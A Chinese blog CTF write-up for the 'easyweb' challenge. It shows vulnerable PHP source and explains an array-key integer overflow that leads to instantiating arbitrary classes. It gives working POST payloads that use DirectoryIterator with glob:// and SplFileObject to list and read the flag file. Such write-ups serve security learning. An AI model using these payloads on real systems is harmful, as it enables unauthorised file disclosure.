首页 > 其他分享 >CTF 卷王杯 easyweb

CTF 卷王杯 easyweb

时间:2023-10-09 09:45:08浏览次数:21  
标签:9223372036854775806 王杯 flag CTF easyweb php

get传入?source便可以获得网站源码

<?php
error_reporting(0);
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    echo "\$flag_filename = 'flag'.md5(???).'php';";  //这里可以看到flag.php是由flag+md5.php组成的
    die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){
    $c = $_POST['c'];
    $count[++$c] = 1;              //数组自增后进行赋值,我们让数组键溢出,导致自增后达到溢出无法进行赋值
    if($count[] = 1) {
        $count[++$c] = 1;
        print_r($count);
        die();
    }else{
        $a = $_POST['a'];
        $b = $_POST['b'];
        echo new $a($b);
    }
}

 这里的话传入c=9223372036854775806从而使得php数组键溢出,然后在echo new $a($b)这里的话可以使用php原生类进行命令执行

找到flag.php:&a=DirectoryIterator&b=glob://flag[a-z0-9]*.php&c=9223372036854775806

读取flag:
a=SplFileObject&b=flag56ea8b83122449e814e0fd7bfb5f220a.php&c=9223372036854775806

 

 

标签:9223372036854775806,王杯,flag,CTF,easyweb,php
From: https://www.cnblogs.com/kode00/p/17750349.html

相关文章

  • LitCTF 2023--Reverse
    世界上最棒的程序员(签到题,进去就送)进IDA或者OD都可以:拿到LitCTF{I_am_the_best_programmer_ever}ez_xor(简单异或)进IDA能看到大大的XOR拿到异或的文档“E`}J]OrQF[V8zV:hzpV}fVF[t”,因为是简单的异或,用这个来运行一下,动调即可:拿到LitCTF{XOR_1s_3asy_to_OR}enbase64进IDA......
  • [RoarCTF 2019]Easy Calc
    原理PHP的字符串解析特性利用scandir()列出目录和文件使用chr()来替代字符file_get_contents读取并输出文件内容解题过程进入靶场,看到一个表达式,要计算,那就简单1+1吧没啥特别的,url地址也没变化,就看看页面源代码。看到说是用了waf,传递参数给calc.php,参数为num试试访问ca......
  • [ACTF2020 新生赛]BackupFile
    原理字符串和数字弱比较问题代码审计目录扫描解题过程进入靶场就让我们找sourcefile,原代码也没其他东西了,只能扫目录了pythondirsearch.py-u3c33c7f9-7306-4c4e-99a6-13b8ef0803b9.node4.buuoj.cn:81--delay=3扫出来index.php.bak文件,下载下来源码为<?phpinclude......
  • [BUUCTF 2018]Online Tool
    原理绕过escapeshellarg+escapeshellcmd函数nmap写入木马解题过程学习一下两个函数使用时的绕过思路参考文章:https://blog.csdn.net/lzu_lfl/article/details/130780808https://blog.51cto.com/u_15400016/4295953--这个文章的payload的左括号不对......
  • CTFer blogs--Web-easyphp
    一、题目链接:https://adworld.xctf.org.cn/challenges/list二、解法步骤:本题打开后是一段php代码,首先进行代码审计: 题目要求输入两个变量a和b(还有个c),都符合其对应条件即可拿到flag。先来看变量a:isset(a)是php中最常用来判断变量是否被设置以及非空有值则返回true,否则返回fa......
  • WriteUp-CTF-MISC
    图片隐写图片隐写五部曲:查看详情信息;探测隐藏文件;检索关键字;查看不同通道;修改宽高尺寸Banmabanma来源:攻防世界考点:扫码工具的使用工具:在线扫码工具(BarcodeReader.FreeOnlineWebApplication(inliteresearch.com))难度:⭐分析过程下载文件,得到zip压缩包;解压......
  • typscript: AbstractFactory
     /***file:factory.ts*抽象工厂*TheAbstractFactoryinterfacedeclaresasetofmethodsthatreturn*differentabstractproducts.Theseproductsarecalledafamilyandare*relatedbyahigh-levelthemeorconcept.Productsofonefamilyare......
  • CTFSHOW 七夕杯 web wp
    web签到打开后发现可以进行命令执行操作,但是是无任何回显的,这里的话我们可以直接进行命令执行  payload:nl /*>1方法二、 >hp>1.p\\>d\>\\>\-\\>e64\\>bas\\>7\|\\>XSk\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>w......
  • [SUCTF 2019]EasySQL 1
    原理||的不同功能,连接字符串和或堆叠注入解题过程进入靶场,按常规进行注入,发现过滤了很多关键字,跑一下fuzz试试堆叠注入payload:1;showtables;得出放flag的表,但flag字段被过滤了。看wp原代码查询语句是select$_POST['query']||0fromflag;但我们不知道源码....从尝试......
  • [GXYCTF2019]Ping Ping Ping 1
    原理RCE命令执行的多种绕过姿势解题过程进入靶场提示要传递参数ip那就传递一下127.0.0.1,结果正常试试进行拼接,试了127.0.0.1&&ls或者127.0.0.1&ls都不行,,,直到用;做连接符才可以payload:127.0.0.1;ls发现有index.php和flag.php文件,猜测flag应该在flag.php内接着尝试读取......